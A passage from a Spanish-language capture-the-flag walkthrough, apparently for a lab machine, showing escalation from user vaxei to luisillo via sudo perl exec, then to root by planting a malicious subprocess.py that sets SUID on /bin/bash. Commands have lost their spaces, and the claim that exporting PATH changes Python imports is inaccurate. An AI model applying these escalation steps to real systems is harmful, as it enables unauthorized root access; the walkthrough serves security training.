Vemos que con el usuario vaxei si va, por lo que nos conectaremos con esa id_rsa de la siguiente forma.
SSH
nanoid_rsa#Dentro del nano<CONTENIDO_DEL_ID_RSA>
Lo guardamos y establecemos los permisos correspondientes al mismo.
chmod600id_rsa
ssh-iid_rsavaxei@<IP>
Y echo esto veremos que estamos dentro con dicho usuario.
Escalate user luisillo
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for vaxei on 8a42188a52cb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User vaxei may run the following commands on 8a42188a52cb:
(luisillo) NOPASSWD: /usr/bin/perl
Vemos que podemos ejecutar el binario perl como el usuario luisillo por lo que haremos lo siguiente:
sudo-uluisilloperl-e'exec "/bin/bash";'
Y echo esto veremos que somo dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for luisillo on 8a42188a52cb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on 8a42188a52cb:
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
Vemos que podemos ejecutar el binario python3 junto con el script paw.py como el usuario root, por lo que tendremos que hacer lo siguiente:
Si leemos el script vemos lo siguiente:
import subprocessimport osimport sysimport time# Fdefdummy_function(data): result =""for char in data: result += char.upper()if char.islower()else char.lower()return result# Código para ejecutar el scriptos.system("echo Ojo Aqui")# Simulación de procesamiento de datosdefdata_processing(): data ="This is some dummy data that needs to be processed." processed_data =dummy_function(data)print(f"Processed data: {processed_data}")# Simulación de un cálculo inútildefperform_useless_calculation(): result =0for i inrange(1000000): result += iprint(f"Useless calculation result: {result}")defrun_command(): subprocess.run(['echo Hello!'], check=True)defmain():# Llamadas a funciones que no afectan el resultado finaldata_processing()perform_useless_calculation()# Comando real que se ejecutarun_command()if__name__=="__main__":main()
Si lo ejecutamos veremos el siguiente error:
sudopython3/opt/paw.py
Info:
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command()
File "/opt/paw.py", line 30, in run_command
subprocess.run(['echo Hello!'], check=True)
File "/usr/lib/python3.12/subprocess.py", line 548, in run
with Popen(*popenargs, **kwargs) as process:
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'echo Hello!'
Veremos que nos esta dando un error en la siguiente ruta:
/usr/lib/python3.12/subprocess.py
Ya que no admite algun caracter en el que esta en el script, en concreto en esta parte de aqui:
Lo que vamos hacer es cambiar el PATH para que pille primero el subprocess.py nuestro malicioso y que no pille el de la ruta /usr/lib/python3.12/subprocess.py ya que no esta utilizando una ruta absoluta en el script a la hora de importar el modulo.
export PATH=/opt:$PATH
Y ahora crearemos el script malicioso:
subprocess.py
import osos.system('chmod u+s /bin/bash')
Lo guardamos y ejecutamos lo siguiente:
sudopython3/opt/paw.py
Info:
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command()
File "/opt/paw.py", line 30, in run_command
subprocess.run(['echo Hello!'], check=True)
^^^^^^^^^^^^^^
AttributeError: module 'subprocess' has no attribute 'run'
Y si ahora listamos los permisos de la bash veremos lo siguiente:
ls-la/bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que tiene permisos de SUID por lo que haremos lo siguiente:
bash-p
Y con esto seremos root, por lo que ya habremos terminado la maquina.